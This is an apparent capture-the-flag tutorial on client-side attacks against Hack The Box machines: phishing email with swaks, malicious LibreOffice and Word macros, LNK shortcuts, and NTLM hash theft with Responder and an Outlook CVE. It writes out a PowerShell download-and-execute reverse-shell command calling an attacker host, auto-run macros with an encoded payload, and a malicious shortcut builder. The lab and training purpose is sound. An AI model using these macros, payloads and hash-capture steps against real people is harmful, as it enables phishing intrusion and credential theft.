Client-side attacks on HTB: macros, LNK files and phishing emails
How to get a shell when someone opens your file: find the victim, send emails with swaks, LibreOffice and Word macros, LNK shortcuts and stealing NTLM hashes.
Some boxes have no vulnerable service: they have a simulated user who opens whatever you send. A bot checks the mailbox every minute, opens the documents in a share or clicks the links. These are client-side attacks, which are on the OSCP syllabus and which show up on Hack The Box mostly on Windows machines.
The key is spotting when a box expects this and testing in small steps: first that someone clicks, then that something runs, and only at the end the shell.
When to suspect it
- SMTP is open (port 25 or 587) and the website mentions email (
send us your CV,contact support). - A form or a share asks for documents (reports, CVs, templates) and says someone will review them.
- An email or note on the box talks about "reviewing attachments", "testing macros" or a specific version of Office or LibreOffice.
Requirements
swaksto send email:sudo apt install swaks.- LibreOffice on your box for
.odt/.odsdocuments; for Word macros you need Office in a Windows VM. nc,python3 -m http.serverand Responder.- A PowerShell reverse shell. The site's generators give you one ready-made: reverse shells.
- To practise: Reel, Hospital and Mailing.
Step 1: find someone to email
Pull names from the website (the team page, authors) and check which ones exist on the mail server:
smtp-user-enum -M RCPT -U users.txt -D megabank.com -t 10.10.10.77
10.10.10.77: [email protected] exists
If RCPT does not work, try -M VRFY or -M EXPN. Check public documents' metadata too (exiftool *.docx): the Creator field is often a username or an email. On Reel the victim's email comes out exactly like that, from the metadata of a document on FTP.
Step 2: check that someone clicks
Before building a document, send a link to your box and wait:
sudo python3 -m http.server 80
swaks --to [email protected] --from [email protected] --server 10.10.10.77 \
--header "Subject: Pending report" --body "Please review: http://10.10.14.5/report"
10.10.10.77 - - [04/Nov/2026 10:21:03] "GET /report HTTP/1.1" 404 -
If a request arrives, someone (a bot) is reading. The User-Agent in the log tells you which program opens links. That is how you confirm the victim on Outdated and Reel2.
Step 3: build the payload
Always use the same payload: PowerShell that downloads and runs your reverse shell. Encode it as UTF-16LE Base64 so you do not fight with quotes:
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/rev.ps1")' \
| iconv -t UTF-16LE | base64 -w0
The final command is powershell -nop -w hidden -e <base64>. Put a PowerShell reverse shell in rev.ps1 and leave nc -lvnp 443 listening.
Tip
First send something harmless that leaves a trace, such as ping -n 2 10.10.14.5 or a download from your server (tcpdump -i tun0 icmp to see the ping). If it arrives, the macro runs and any later failure is the payload's fault, not the document's. That is what RE is about.
Step 4: a LibreOffice macro (.odt / .ods)
- Open LibreOffice Writer and save an empty document as
report.odt. - Tools > Macros > Edit Macros. In the tree, pick your document (not "My Macros") and create a module.
- Write the macro:
Sub Main
Shell("cmd.exe /c powershell -nop -w hidden -e <base64>")
End Sub
- Tools > Customize > Events, choose Open Document, click Macro... and assign
Main. Under Save In, the document. - Save and send it:
swaks --to [email protected] --from [email protected] --server 10.10.10.10 \
--header "Subject: Report" --body "Report attached" --attach @report.odt
RE and Rabbit are solved with LibreOffice macros.
Step 5: a Word macro (.doc / .docm)
In a VM with Office: View > Macros, pick the current document under Macros in and create:
Sub AutoOpen()
Run
End Sub
Sub Document_Open()
Run
End Sub
Sub Run()
Dim c As String
c = "powershell -nop -w hidden -e "
c = c + "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBO"
c = c + "AGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4A"
CreateObject("Wscript.Shell").Run c
End Sub
Save it as Word 97-2003 Document (.doc) or .docm; a .docx does not keep macros. VBA will not take string literals longer than 255 characters, which is why the Base64 is split across several c = c + "..." lines (a short Python script splits it for you).
Step 6: LNK shortcuts and other files
If the victim opens whatever you drop in a share, a .lnk shortcut is simpler than a document. From PowerShell on any Windows:
$s = (New-Object -ComObject WScript.Shell).CreateShortcut("$PWD\report.lnk")
$s.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$s.Arguments = "-nop -w hidden -e <base64>"
$s.IconLocation = "C:\Windows\System32\shell32.dll,70"
$s.Save()
Mist and Ethereal use it. Other formats that turn up on retired boxes:
| Format | Box | Idea |
|---|---|---|
| RTF with CVE-2017-0199 | Reel | The RTF downloads and runs an .hta |
| EPS with CVE-2023-36664 | Hospital | Ghostscript runs commands when the EPS opens |
| CHM | Sniper | Compiled Windows help with a command inside |
| XLL | Axlle | An Excel add-in that is a DLL |
| VS Code extension | Checkpoint | A .vsix with a Node reverse shell |
Step 7: no execution? steal the hash
If you cannot get anything to run, make the client authenticate to you. With Responder listening (sudo responder -I tun0), a link to an SMB path of yours (\\10.10.14.5\x) makes Windows send the user's NetNTLMv2 hash:
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash : maya::MAILING:1122334455667788:...
On Mailing Outlook is vulnerable to CVE-2024-21413 (Moniker Link): a file:///\\10.10.14.5\x!something link in the email bypasses the protection and hands over maya's hash, which cracks with hashcat (mode 5600). The .url, .scf and .library-ms files in shares achieve the same thing; relaying those hashes is in NTLM relay and coercion.
Common mistakes
- The email sends but nothing happens: the bot may take a minute or two. If there is nothing after five, check the address (the exact email domain) and try the Step 2 link.
swaksreturnsRelay access denied: the server will not accept mail for that domain from outside. Use the box's own domain in--toor authenticate with--auth-user.- The macro does not run: it is not bound to the open event, or it is saved in "My Macros" instead of in the document. Open the document yourself to check.
- The ping arrives but not the shell: Defender or AMSI block the payload. Try another one, without
Invoke-Expressionin clear text, or see EDR evasion. - The HTTP request for
rev.ps1arrives but no connection: the script has an error or the port is blocked. Use 443 or 80, which almost always get out.
What next
With the victim's shell, carry on with the post-exploitation checklist. There are more document templates and commands in the phishing cheat sheet.